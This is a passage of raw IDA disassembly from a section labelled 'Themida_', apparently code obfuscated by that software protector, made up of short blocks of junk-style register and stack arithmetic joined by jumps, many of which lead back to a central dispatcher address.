edx, [esp] jmp loc_59F0EB ; --------------------------------------------------------------------------- loc_59D001: ; CODE XREF: Themida_:0059A273j add esp, 4 push 55B9h mov [esp], ecx push 2 pop ecx sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi jmp loc_59BCEF ; --------------------------------------------------------------------------- loc_59D020: ; CODE XREF: Themida_:005A3AB5j add bl, 4Ch sub esp, 4 jmp loc_5931E7 ; --------------------------------------------------------------------------- loc_59D02B: ; CODE XREF: Themida_:00597638j pop edx add ebx, edi pop edi jmp loc_5A54D3 ; --------------------------------------------------------------------------- loc_59D034: ; CODE XREF: Themida_:0059DB29j sub dh, cl jmp loc_5999CF ; --------------------------------------------------------------------------- loc_59D03B: ; CODE XREF: Themida_:005A34B1j shl ecx, 8 not ecx push esi mov esi, 792C4605h jmp loc_5998E3 ; --------------------------------------------------------------------------- loc_59D04B: ; CODE XREF: Themida_:005985A7j mov [esp], ebp push ecx mov ecx, 149942C8h mov ebp, ecx pop ecx mov esi, 18AC127Ch shr esi, 1 inc esi and esi, 14667552h jmp loc_591EA6 ; --------------------------------------------------------------------------- loc_59D06A: ; CODE XREF: Themida_:005942A3j pop dword ptr [esp] pop esp jmp loc_595209 ; --------------------------------------------------------------------------- loc_59D073: ; CODE XREF: Themida_:005935A0j pop edi add ebp, eax mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_59A42B ; --------------------------------------------------------------------------- loc_59D08A: ; CODE XREF: Themida_:0059F55Fj add eax, 7E8C66B9h pop ecx add eax, ebx add eax, 13EB171Fh push 19B0h mov [esp], esi jmp loc_5922B0 ; --------------------------------------------------------------------------- loc_59D0A4: ; CODE XREF: Themida_:00596E99j sub esp, 4 jmp loc_59D79A ; --------------------------------------------------------------------------- loc_59D0AF: ; CODE XREF: Themida_:0059B89Aj mov esi, 46EC6EDDh jmp loc_5A03A4 ; --------------------------------------------------------------------------- loc_59D0B9: ; CODE XREF: Themida_:005A475Dj add esi, 81D521F3h add ebx, 151E5588h add ebx, esi push esi mov esi, 151E5588h sub ebx, esi jmp loc_5927D9 ; --------------------------------------------------------------------------- loc_59D0D4: ; CODE XREF: Themida_:00598104j push ebx mov ebx, 0DD8FCE68h sub ecx, ebx pop ebx add edi, 1DE06D3Fh jmp loc_5A567B ; --------------------------------------------------------------------------- loc_59D0E8: ; CODE XREF: Themida_:005A5732j xor ch, 5Ah jmp loc_594F02 ; --------------------------------------------------------------------------- loc_59D0F0: ; CODE XREF: Themida_:0059241Fj mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_59AE27 ; --------------------------------------------------------------------------- loc_59D103: ; CODE XREF: Themida_:00595297j push edi jmp loc_591A0F ; --------------------------------------------------------------------------- loc_59D109: ; CODE XREF: Themida_:00591A14j mov esi, 45BA1008h add esi, edi pop edi push edi mov edi, 667037BAh jmp loc_5A02BA ; --------------------------------------------------------------------------- loc_59D11C: ; CODE XREF: Themida_:00590339j sub edx, 41F3496Dh add edx, ecx add edx, 41F3496Dh mov ecx, [esp] jmp loc_59863D ; --------------------------------------------------------------------------- loc_59D132: ; CODE XREF: Themida_:0059BC1Fj pop esi add eax, 4E056A57h sub eax, 68CD73EAh add eax, edx jmp loc_5926F0 ; --------------------------------------------------------------------------- loc_59D144: ; CODE XREF: Themida_:0059DA9Aj sub edi, eax pop eax xchg edi, [esp] pop esp mov [esp], ebx jmp loc_593ADF ; --------------------------------------------------------------------------- loc_59D153: ; CODE XREF: Themida_:0059C615j mov ebx, 72BD5217h mov ebp, 0F19B9C46h sub ebp, ebx pop ebx push ebx mov ebx, 0C07E1E9Dh mov edi, ebx pop ebx add edi, ebp jmp loc_595FFE ; --------------------------------------------------------------------------- loc_59D170: ; CODE XREF: Themida_:005A0122j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D175: ; CODE XREF: Themida_:0059DF9Cj push ebx jmp loc_59F238 ; --------------------------------------------------------------------------- loc_59D17B: ; CODE XREF: Themida_:005A14FCj sub esi, 0FF57F8D1h mov ecx, esi pop esi jmp loc_5A5446 ; --------------------------------------------------------------------------- loc_59D189: ; CODE XREF: Themida_:00595863j push dword ptr [esp] pop eax jmp loc_591715 ; --------------------------------------------------------------------------- loc_59D192: ; CODE XREF: Themida_:0059F08Fj push eax push dword ptr [esp+4] pop eax jmp loc_596F3C ; --------------------------------------------------------------------------- loc_59D19D: ; CODE XREF: Themida_:00590BF3j push 3008h mov [esp], ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 jmp loc_5934B6 ; --------------------------------------------------------------------------- loc_59D1B8: ; CODE XREF: Themida_:005A2F41j mov esp, [esp] mov [esp], ebp jmp loc_59C0BE ; --------------------------------------------------------------------------- loc_59D1C3: ; CODE XREF: Themida_:00598C28j not cl sub cl, 81h jmp loc_59B9C8 ; --------------------------------------------------------------------------- loc_59D1CD: ; CODE XREF: Themida_:005A36B3j mov ch, bl jmp loc_5A0716 ; --------------------------------------------------------------------------- loc_59D1D4: ; CODE XREF: Themida_:005A49BEj add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push 0F3Ch mov [esp], ebp push eax mov eax, 4D0B291Bh mov ebp, 4D0B2919h xor ebp, eax pop eax add esi, ebp pop ebp xchg esi, [esp] pop esp mov fs:[edx], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D209: ; CODE XREF: Themida_:005A1937j add esp, 4 rep movsd add esp, [edx+38h] push 4D54h mov [esp], ebx mov ebx, 38h sub ebx, 66113BD2h sub ebx, 3B83343Bh add ebx, edx add ebx, 3B83343Bh push ebp mov ebp, 69AC572Eh and ebp, 216B7DEAh add ebp, 44E8E6A8h add ebx, ebp jmp loc_59891F ; --------------------------------------------------------------------------- loc_59D24B: ; CODE XREF: Themida_:0059B7ABj add bh, al sub bh, 64h pop eax sub cl, 8Ah jmp loc_5917D2 ; --------------------------------------------------------------------------- loc_59D259: ; CODE XREF: Themida_:005A4E48j push ebx push dword ptr [esp+4] jmp loc_594886 ; --------------------------------------------------------------------------- loc_59D263: ; CODE XREF: Themida_:00599819j and edx, 4B6F2843h neg edx xor edx, 0EEEBC1D3h add ebx, edx pop edx and ebx, 17417E02h push 6E3h mov [esp], esi jmp loc_5986E6 ; --------------------------------------------------------------------------- loc_59D287: ; CODE XREF: Themida_:00598F08j neg ebp add ebp, 0D297DE7h xor ebp, 23290533h add esi, ebp jmp loc_5911B2 ; --------------------------------------------------------------------------- loc_59D29C: ; CODE XREF: Themida_:00594AE9j push eax mov eax, 6ECC05EAh mov edx, eax mov eax, [esp] jmp loc_5A3FEB ; --------------------------------------------------------------------------- loc_59D2AC: ; CODE XREF: Themida_:00598116j add edi, 5F5139E1h pop esi push ecx jmp loc_59CF45 ; --------------------------------------------------------------------------- mov cx, [esp] push 0E07h mov [esp], ebx jmp loc_59F3F8 ; --------------------------------------------------------------------------- loc_59D2CA: ; CODE XREF: Themida_:005A38C5j add ebx, 362A022Ch add ebx, edx sub ebx, 362A022Ch pop edx pop ecx jmp loc_5A14EE ; --------------------------------------------------------------------------- loc_59D2DF: ; CODE XREF: Themida_:00598DEEj sub ecx, 925C039Fh jmp loc_5A09F9 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_59A492 ; --------------------------------------------------------------------------- loc_59D2F9: ; CODE XREF: Themida_:00591545j mov esi, [esp] push 2F2h jmp loc_5958AC ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D30E: ; CODE XREF: Themida_:0059A7BEj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor edi, ebp pop ebp push eax mov eax, edi mov ebx, eax jmp loc_596B6E ; --------------------------------------------------------------------------- loc_59D32A: ; CODE XREF: Themida_:005906E3j sub eax, 33A97F68h add eax, 4B2A12EDh push dword ptr [esp] pop esi add esp, 4 jmp loc_590F9E ; --------------------------------------------------------------------------- loc_59D343: ; CODE XREF: Themida_:0059DD3Aj mov edx, [esp] jmp loc_598D25 ; --------------------------------------------------------------------------- loc_59D34B: ; CODE XREF: Themida_:005A0C89j mov ebp, 52712F43h sub esi, ebp jmp loc_59FADF ; --------------------------------------------------------------------------- loc_59D357: ; CODE XREF: Themida_:00590D76j sub esi, edi pop edi push 55D2h mov [esp], esi pop ecx jmp loc_593DBC ; --------------------------------------------------------------------------- loc_59D368: ; CODE XREF: Themida_:00592574j push esi jmp loc_59AE78 ; --------------------------------------------------------------------------- loc_59D36E: ; CODE XREF: Themida_:005A0403j mov ebx, 38701DFBh push ebp push eax push 58B67011h push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 jmp loc_591BAF ; --------------------------------------------------------------------------- loc_59D38C: ; CODE XREF: Themida_:005A2ED0j xchg eax, [esp] jmp loc_59A22D ; --------------------------------------------------------------------------- loc_59D394: ; CODE XREF: Themida_:005A1F26j add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_5A0520 ; --------------------------------------------------------------------------- loc_59D3BA: ; CODE XREF: Themida_:00595E65j add ebx, edx sub ebx, 41A63633h jmp loc_59FD0B ; --------------------------------------------------------------------------- loc_59D3C7: ; CODE XREF: Themida_:005A3344j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, ebx mov edx, ebp jmp loc_59B471 ; --------------------------------------------------------------------------- loc_59D3E3: ; CODE XREF: Themida_:005A462Ej pop eax add eax, 4 push edi jmp loc_591147 ; --------------------------------------------------------------------------- loc_59D3EF: ; CODE XREF: Themida_:005A49B4j mov ebx, edx pop edx jmp loc_5A34F6 ; --------------------------------------------------------------------------- loc_59D3F7: ; CODE XREF: Themida_:00599BECj mov ebp, 724D4608h shl ebp, 5 jmp loc_5960BB ; --------------------------------------------------------------------------- loc_59D404: ; CODE XREF: Themida_:005914EBj xor eax, ecx jmp loc_59945B ; --------------------------------------------------------------------------- loc_59D40B: ; CODE XREF: Themida_:0059DC56j sub ebx, 4 xchg ebx, [esp] jmp loc_59E4E7 ; --------------------------------------------------------------------------- loc_59D419: ; CODE XREF: Themida_:005A4611j sub esp, 4 jmp loc_597382 ; --------------------------------------------------------------------------- loc_59D424: ; CODE XREF: Themida_:005A2059j xor ebp, 4FCF5DD2h jmp loc_5921C7 ; --------------------------------------------------------------------------- loc_59D42F: ; CODE XREF: Themida_:00594AADj add [esp+4], edi pop edi pop ecx push ebx jmp loc_59C8D6 ; --------------------------------------------------------------------------- loc_59D43B: ; CODE XREF: Themida_:0059C60Ej mov edi, [esp] add esp, 4 add esi, ebp mov ebp, [esp] jmp loc_5934DE ; --------------------------------------------------------------------------- loc_59D44B: ; CODE XREF: Themida_:00594F04j pop ecx push 4CA8h mov [esp], edx mov dh, 11h push ecx jmp loc_597D45 ; --------------------------------------------------------------------------- loc_59D45C: ; CODE XREF: Themida_:0059F64Fj mov eax, 15B562F1h push edi mov edi, 747D758Bh xor eax, edi pop edi neg eax push ebp push esi push 41646D57h mov esi, [esp] add esp, 4 not esi push edx mov edx, 2C89286Fh xor edx, 62F54070h not edx sub edx, 4BF668FDh and esi, edx jmp loc_59B60E ; --------------------------------------------------------------------------- loc_59D499: ; CODE XREF: Themida_:005A1017j xor ebx, 0DAD64E0h not ebx shl ebx, 4 jmp loc_59623D ; --------------------------------------------------------------------------- loc_59D4A9: ; CODE XREF: Themida_:0059C416j not ecx jmp loc_596575 ; --------------------------------------------------------------------------- loc_59D4B0: ; CODE XREF: Themida_:00591F7Aj add eax, 4 xchg eax, [esp] pop esp sub ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_5A52CA ; --------------------------------------------------------------------------- loc_59D4C5: ; CODE XREF: Themida_:00591FA6j mov [esp], esi jmp loc_5935D8 ; --------------------------------------------------------------------------- loc_59D4CD: ; CODE XREF: Themida_:00596B30j push 501Fh jmp loc_599BF1 ; --------------------------------------------------------------------------- loc_59D4D7: ; CODE XREF: Themida_:00599A97j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_59108D ; --------------------------------------------------------------------------- loc_59D4E8: ; CODE XREF: Themida_:005A4783j mov edx, [esp] add esp, 4 jmp loc_5A0BF9 ; --------------------------------------------------------------------------- loc_59D4F3: ; CODE XREF: Themida_:00594C66j xor edi, [esp] mov esp, [esp] mov [esp], ecx push 1 jmp loc_59395B ; --------------------------------------------------------------------------- loc_59D506: ; CODE XREF: Themida_:00596C42j pop ebx dec ebx push 40Fh mov [esp], edi jmp loc_5903F3 ; --------------------------------------------------------------------------- loc_59D515: ; CODE XREF: Themida_:0059777Fj mov ebp, 5D0E22ECh jmp loc_59BFE1 ; --------------------------------------------------------------------------- loc_59D51F: ; CODE XREF: Themida_:0059DB85j sub edx, ebx jmp loc_5A2D42 ; --------------------------------------------------------------------------- loc_59D526: ; CODE XREF: Themida_:005A386Cj add ebp, esi sub ebp, 5C692305h jmp loc_599EEA ; --------------------------------------------------------------------------- loc_59D533: ; CODE XREF: Themida_:005A21C1j xor [esp], ecx xor ecx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D547: ; CODE XREF: Themida_:0059F46Ej mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D55A: ; CODE XREF: Themida_:0059CC6Dj push ecx jmp loc_599E45 ; --------------------------------------------------------------------------- loc_59D560: ; CODE XREF: Themida_:005A52EFj add esp, 4 push ebx jmp loc_597CDD ; --------------------------------------------------------------------------- loc_59D56C: ; CODE XREF: Themida_:005A1FE9j push edx mov edx, esp add edx, 4 push ecx mov ecx, 398B1ACFh xor ecx, 4F6A73B7h not ecx inc ecx xor ecx, 891E968Ch sub edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] jmp loc_590827 ; --------------------------------------------------------------------------- loc_59D598: ; CODE XREF: Themida_:00591D3Fj push edx mov edx, 36C36AD3h jmp loc_598DBF ; --------------------------------------------------------------------------- loc_59D5A3: ; CODE XREF: Themida_:00596D92j or ecx, 6D680088h add ecx, 9293CE6Ah add eax, ecx pop ecx push eax jmp loc_5A4CDF ; --------------------------------------------------------------------------- loc_59D5B8: ; CODE XREF: Themida_:00590B57j mov dh, cl jmp loc_59C3B2 ; --------------------------------------------------------------------------- loc_59D5BF: ; CODE XREF: Themida_:005A2756j add esp, 4 push dx jmp loc_5A3EC0 ; --------------------------------------------------------------------------- loc_59D5CC: ; CODE XREF: Themida_:005A29CDj mov [esp], eax mov eax, 3A203C6Ch shr eax, 2 dec eax push esi mov esi, 3A90527Fh shl esi, 2 and esi, 4A620228h not esi xor esi, 0BD0C6A77h sub eax, esi jmp loc_597D54 ; --------------------------------------------------------------------------- loc_59D5F6: ; CODE XREF: Themida_:0059825Cj mov edx, 1 add ebp, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_59AD98 ; --------------------------------------------------------------------------- loc_59D615: ; CODE XREF: Themida_:0059E4E2j push 3F25h mov [esp], edi mov edi, 51CA6F61h xor edx, edi push dword ptr [esp] push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push eax push esi mov esi, 4 mov eax, esi pop esi add ebp, eax jmp loc_5983CE ; --------------------------------------------------------------------------- loc_59D64D: ; CODE XREF: Themida_:0059232Bj pop eax jmp loc_5950B6 ; --------------------------------------------------------------------------- loc_59D653: ; CODE XREF: Themida_:00594BBCj add ebp, 4 xchg ebp, [esp] pop esp push 70ACh jmp loc_59AD89 ; --------------------------------------------------------------------------- loc_59D667: ; CODE XREF: Themida_:00597E74j mov esi, 278D7D55h shr esi, 8 push ebx mov ebx, 76208E6h xor esi, ebx pop ebx shr esi, 6 dec esi jmp loc_59D76B ; --------------------------------------------------------------------------- loc_59D681: ; CODE XREF: Themida_:0059EF4Ej xor esi, 221927BEh add esi, 15D0213Ah add eax, esi pop esi push 2C27h mov [esp], ebx mov ebx, 2 jmp loc_59BEFF ; --------------------------------------------------------------------------- loc_59D6A2: ; CODE XREF: Themida_:0059683Ej mov al, 0CDh mov bl, al jmp loc_59997C ; --------------------------------------------------------------------------- loc_59D6AB: ; CODE XREF: Themida_:00595493j add dword ptr [esp], 4 pop edi push ebx mov ebx, 0DE1210Eh push edi mov edi, 0CFE7DFBh add edi, 1B9FDEF5h jmp loc_594A34 ; --------------------------------------------------------------------------- loc_59D6CA: ; CODE XREF: Themida_:00598DDDj xchg ebx, [esp] pop esp push ebp mov ebp, 3ADC6D98h inc ebp or ebp, 50C227FDh xor ebp, 5DF53C66h push ecx push ebx push 70D94265h pop ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_5A13C0 ; --------------------------------------------------------------------------- loc_59D6FF: ; CODE XREF: Themida_:005A4EEAj mov esi, 0E2402DD4h sub eax, esi pop esi sub esi, eax mov eax, [esp] jmp loc_59C0F4 ; --------------------------------------------------------------------------- loc_59D711: ; CODE XREF: Themida_:00598582j pop dword ptr [esp] pop esp sub esp, 4 jmp loc_59FBE2 ; --------------------------------------------------------------------------- loc_59D720: ; CODE XREF: Themida_:00599E70j sub dword ptr [esp+4], 6A1256E6h jmp loc_59CECB ; --------------------------------------------------------------------------- loc_59D72D: ; CODE XREF: Themida_:005932D8j add esp, 4 xor ebx, 751D641h add eax, ebx mov ebx, [esp] push edi push 66ADh push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5A3F44 ; --------------------------------------------------------------------------- loc_59D74E: ; CODE XREF: Themida_:0059F404j neg ebp jmp loc_5A2E95 ; --------------------------------------------------------------------------- loc_59D755: ; CODE XREF: Themida_:0059B609j sub esp, 4 mov [esp], ebx push eax mov eax, 0D771E6Ch shl eax, 3 not eax jmp loc_5925BB ; --------------------------------------------------------------------------- loc_59D76B: ; CODE XREF: Themida_:0059D67Cj add esi, 899A03C9h sub eax, esi push dword ptr [esp] pop esi jmp loc_59B539 ; --------------------------------------------------------------------------- loc_59D77C: ; CODE XREF: Themida_:0059DA64j mov edx, [esp] add esp, 4 jmp loc_597BA1 ; --------------------------------------------------------------------------- loc_59D787: ; CODE XREF: Themida_:0059CF40j pop esp sar word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D792: ; CODE XREF: Themida_:0059170Aj add esp, 4 jmp loc_590E9A ; --------------------------------------------------------------------------- loc_59D79A: ; CODE XREF: Themida_:0059D0AAj mov [esp], ebp jmp loc_593BCD ; --------------------------------------------------------------------------- loc_59D7A2: ; CODE XREF: Themida_:00596D9Dj and ecx, 4992595Dh add ecx, 0F97D67B2h add ebp, ecx jmp loc_595F0F ; --------------------------------------------------------------------------- loc_59D7B5: ; CODE XREF: Themida_:0059076Dj sub al, 0D7h xor cl, al jmp loc_5A09B1 ; --------------------------------------------------------------------------- loc_59D7BE: ; CODE XREF: Themida_:005A4337j mov [esp], ecx mov ch, dl jmp loc_5A2116 ; --------------------------------------------------------------------------- loc_59D7C8: ; CODE XREF: Themida_:00594469j not bl push eax mov ah, 0FDh sub bl, ah pop eax sub bl, 0F9h add al, bl jmp loc_597960 ; --------------------------------------------------------------------------- loc_59D7DA: ; CODE XREF: Themida_:005A1914j pop edi push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_591E86 ; --------------------------------------------------------------------------- loc_59D7F4: ; CODE XREF: Themida_:00591C0Ej mov esi, esp jmp loc_596EDB ; --------------------------------------------------------------------------- loc_59D7FB: ; CODE XREF: Themida_:00595932j push ebp mov ebp, 51647674h dec ebp neg ebp jmp loc_59B1CD ; --------------------------------------------------------------------------- mov cx, [esp] push 685Bh mov [esp], eax jmp loc_59E3C0 ; --------------------------------------------------------------------------- loc_59D81A: ; CODE XREF: Themida_:005A1DF2j add ebp, 730E074Fh add ebp, 219A1C06h jmp loc_5934AE ; --------------------------------------------------------------------------- align 4 dd 32E952D8h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D833: ; CODE XREF: Themida_:005940ABj pop ebp mov edx, [esp] add esp, 4 jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D842: ; CODE XREF: Themida_:00596F37j xor edx, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D852: ; CODE XREF: Themida_:00599D44j mov [esp], ecx push 57D9h mov [esp], ebp mov ebp, 14505FDEh jmp loc_592E3F ; --------------------------------------------------------------------------- loc_59D867: ; CODE XREF: Themida_:0059166Cj add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 4 jmp loc_59F5A6 ; --------------------------------------------------------------------------- loc_59D87A: ; CODE XREF: Themida_:0059B24Ej push esi mov esi, 363950C8h shr esi, 6 push ebp mov ebp, 5481450Dh jmp loc_598499 ; --------------------------------------------------------------------------- loc_59D88E: ; CODE XREF: Themida_:00591FF1j add esi, 3E20635Ch jmp loc_59E580 ; --------------------------------------------------------------------------- loc_59D899: ; CODE XREF: Themida_:005A4C8Fj mov edx, 30232A22h or edx, 3D5A2198h jmp loc_592D88 ; --------------------------------------------------------------------------- loc_59D8A9: ; CODE XREF: Themida_:005956C6j inc cl jmp loc_597B3D ; --------------------------------------------------------------------------- loc_59D8B0: ; CODE XREF: Themida_:0059F31Dj add eax, ebp pop ebp push ebx jmp loc_5A1E0C ; --------------------------------------------------------------------------- loc_59D8B9: ; CODE XREF: Themida_:0059BED1j sub ebp, 215107F9h add ebp, eax add ebp, 215107F9h pop eax jmp loc_5A3C4E ; --------------------------------------------------------------------------- loc_59D8CD: ; CODE XREF: Themida_:0059FC33j add ebx, eax pop eax add edx, 30FA5D34h add edx, ebx jmp loc_598C7F ; --------------------------------------------------------------------------- loc_59D8DD: ; CODE XREF: Themida_:00599734j and ecx, 54316765h jmp loc_5A01AB ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59D8EF: ; CODE XREF: Themida_:005A2E4Bj xchg ebx, ecx jmp loc_59C15A ; --------------------------------------------------------------------------- loc_59D8F6: ; CODE XREF: Themida_:005934FFj shr ebp, 5 jmp loc_59812A ; --------------------------------------------------------------------------- loc_59D8FE: ; CODE XREF: Themida_:00594435j push dword ptr [esp] pop edx push esi jmp loc_5A232C ; --------------------------------------------------------------------------- loc_59D908: ; CODE XREF: Themida_:0059C849j sub edi, 1796DF3Eh add eax, edi pop edi pop esi push esi mov esi, 2A8007EEh and esi, 47336718h push edx mov edx, 720C0D4Dh jmp loc_59C8BA ; --------------------------------------------------------------------------- loc_59D929: ; CODE XREF: Themida_:0059C11Aj xor eax, [esp] mov esp, [esp] mov ax, [esp] push eax mov eax, esp push 1026h mov [esp], edi mov edi, 2D542898h xor edi, 7F545F3Ch sub edi, 7C50C1h shr edi, 1 jmp loc_599D50 ; --------------------------------------------------------------------------- loc_59D956: ; CODE XREF: Themida_:0059B91Fj add edi, 242458C9h jmp loc_5946C4 ; --------------------------------------------------------------------------- loc_59D961: ; CODE XREF: Themida_:0059B7C3j add cl, 0A2h xor bl, cl pop ecx sub cl, 87h jmp loc_594EF4 ; --------------------------------------------------------------------------- loc_59D96F: ; CODE XREF: Themida_:00596CABj mov eax, 4 add ebx, eax push dword ptr [esp] jmp loc_599B3F ; --------------------------------------------------------------------------- loc_59D97E: ; CODE XREF: Themida_:00594037j mov [esp], ebp sub esp, 4 mov [esp], edi push ecx mov ecx, 27DA58C9h jmp loc_598970 ; --------------------------------------------------------------------------- loc_59D992: ; CODE XREF: Themida_:00595AEAj add dl, 0FDh or dl, 9Bh xor dl, 1Eh add al, dl pop edx add al, 0E9h add al, bl jmp loc_5A545A ; --------------------------------------------------------------------------- loc_59D9A7: ; CODE XREF: Themida_:005A2ABCj push dword ptr [esp] pop edx push ebx jmp loc_5919AF ; --------------------------------------------------------------------------- loc_59D9B1: ; CODE XREF: Themida_:00596FDCj not dl jmp loc_5A0073 ; --------------------------------------------------------------------------- loc_59D9B8: ; CODE XREF: Themida_:005A316Fj pop eax jmp loc_593CAB ; --------------------------------------------------------------------------- loc_59D9BE: ; CODE XREF: Themida_:005909DAj add edx, 7F0F4EB3h pop eax add edx, 2 jmp loc_5982E9 ; --------------------------------------------------------------------------- loc_59D9CD: ; CODE XREF: Themida_:0059B70Dj pop ecx add ebx, esi pop esi sub ebx, 4 xchg ebx, [esp] pop esp push esp pop dword ptr [esp] push ecx jmp loc_5A53EF ; --------------------------------------------------------------------------- loc_59D9E2: ; CODE XREF: Themida_:0059F3F3j sub esp, 4 mov [esp], ecx jmp loc_5A1C15 ; --------------------------------------------------------------------------- loc_59D9ED: ; CODE XREF: Themida_:0059AC65j xor ch, 0EBh add al, ch pop ecx jmp loc_5A4D9A ; --------------------------------------------------------------------------- lodsb jmp loc_59764F ; --------------------------------------------------------------------------- loc_59D9FE: ; CODE XREF: Themida_:005A3A6Dj add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [edx] jmp loc_594FDA ; --------------------------------------------------------------------------- loc_59DA0F: ; CODE XREF: Themida_:00595D60j mov edx, [esp] add esp, 4 pop edi xor ebp, [esp] jmp loc_59B663 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DA2E: ; CODE XREF: Themida_:005A26D3j mov [esp], ebp jmp loc_5A1ECF ; --------------------------------------------------------------------------- loc_59DA36: ; CODE XREF: Themida_:005A1CFFj push ebx jmp loc_59613F ; --------------------------------------------------------------------------- loc_59DA3C: ; CODE XREF: Themida_:00594962j mov edx, esp jmp loc_59C6DD ; --------------------------------------------------------------------------- loc_59DA43: ; CODE XREF: Themida_:0059AF5Cj push edx sub esp, 4 jmp loc_595F24 ; --------------------------------------------------------------------------- loc_59DA4C: ; CODE XREF: Themida_:00596C03j add dl, bl mov ebx, [esp] add esp, 4 xor dl, 51h sub dl, 53h inc dl add dl, 9Dh sub al, dl jmp loc_59D77C ; --------------------------------------------------------------------------- loc_59DA69: ; CODE XREF: Themida_:0059B185j sub edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DA80: ; CODE XREF: Themida_:0059984Bj mov edi, esp add edi, 4 push eax mov eax, 680451E8h shl eax, 1 shr eax, 3 not eax sub eax, 0E5FEEB81h jmp loc_59D144 ; --------------------------------------------------------------------------- loc_59DA9F: ; CODE XREF: Themida_:0059068Dj push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] jmp loc_59CE8B ; --------------------------------------------------------------------------- loc_59DAB0: ; CODE XREF: Themida_:00596BD9j sub esi, 0FF9D508Ah sub ecx, esi pop esi push edx mov edx, 77A86023h add eax, edx pop edx jmp loc_5A12C1 ; --------------------------------------------------------------------------- loc_59DAC7: ; CODE XREF: Themida_:0059992Dj add eax, 12D278Ch inc eax inc eax add eax, 2D3E161Ch sub ecx, eax pop eax push ebp push edx mov edx, 64771022h mov ebp, 51676D74h xor ebp, edx pop edx not ebp not ebp add ebp, 71FEE2Fh xor ecx, ebp pop ebp push edi mov edi, 0ECBAD71Ah add ecx, 531217FAh jmp loc_5967B8 ; --------------------------------------------------------------------------- loc_59DB03: ; CODE XREF: Themida_:00598281j mov eax, [esp] add esp, 4 push ecx sub esp, 4 mov [esp], ebx push 23F0381Ah jmp loc_593359 ; --------------------------------------------------------------------------- loc_59DB1D: ; CODE XREF: Themida_:0059A9F7j or ebx, 60121298h jmp loc_598F35 ; --------------------------------------------------------------------------- loc_59DB28: ; CODE XREF: Themida_:005A0B23j pop ebx jmp loc_59D034 ; --------------------------------------------------------------------------- loc_59DB2E: ; CODE XREF: Themida_:0059A907j sub [esp+8], eax pop eax pop esi jmp loc_5A21C6 ; --------------------------------------------------------------------------- loc_59DB39: ; CODE XREF: Themida_:0059B8EDj xor edi, 0F5109CFh push edx push ebp jmp loc_59734E ; --------------------------------------------------------------------------- loc_59DB46: ; CODE XREF: Themida_:00598714j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DB4B: ; CODE XREF: Themida_:005A26F9j mov [esp], ebx push edx mov edx, 69724744h jmp loc_59F7B0 ; --------------------------------------------------------------------------- loc_59DB59: ; CODE XREF: Themida_:00591792j pop esi xor esi, 37D827D7h jmp loc_59C3D9 ; --------------------------------------------------------------------------- loc_59DB65: ; CODE XREF: Themida_:0059DD2Bj pop edx mov cl, ah pop eax xor bh, cl mov ecx, [esp] add esp, 4 add bh, 87h and bh, 0F6h shr bh, 7 jmp loc_59FFDA ; --------------------------------------------------------------------------- loc_59DB7F: ; CODE XREF: Themida_:00598DBAj sub ebx, 44FFFCh jmp loc_59D51F ; --------------------------------------------------------------------------- loc_59DB8A: ; CODE XREF: Themida_:0059840Bj and esi, 5B4472B7h sub esi, 0FF69D113h sub ebx, esi pop esi sub ebx, 2E7E2B71h add ebx, 5C2B0118h add ebx, edi sub ebx, 5C2B0118h add ebx, 2E7E2B71h add ebx, 599A4123h sub ebx, 18D94C21h jmp loc_5911BA ; --------------------------------------------------------------------------- loc_59DBC4: ; CODE XREF: Themida_:005A469Fj push small 62B4h mov [esp], di push small 75A2h mov [esp], dx mov di, [esp] jmp loc_592B36 ; --------------------------------------------------------------------------- loc_59DBDD: ; CODE XREF: Themida_:00597880j add esi, 17A504B3h push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_590387 ; --------------------------------------------------------------------------- loc_59DBEF: ; CODE XREF: Themida_:00594471j jmp loc_5902C1 ; 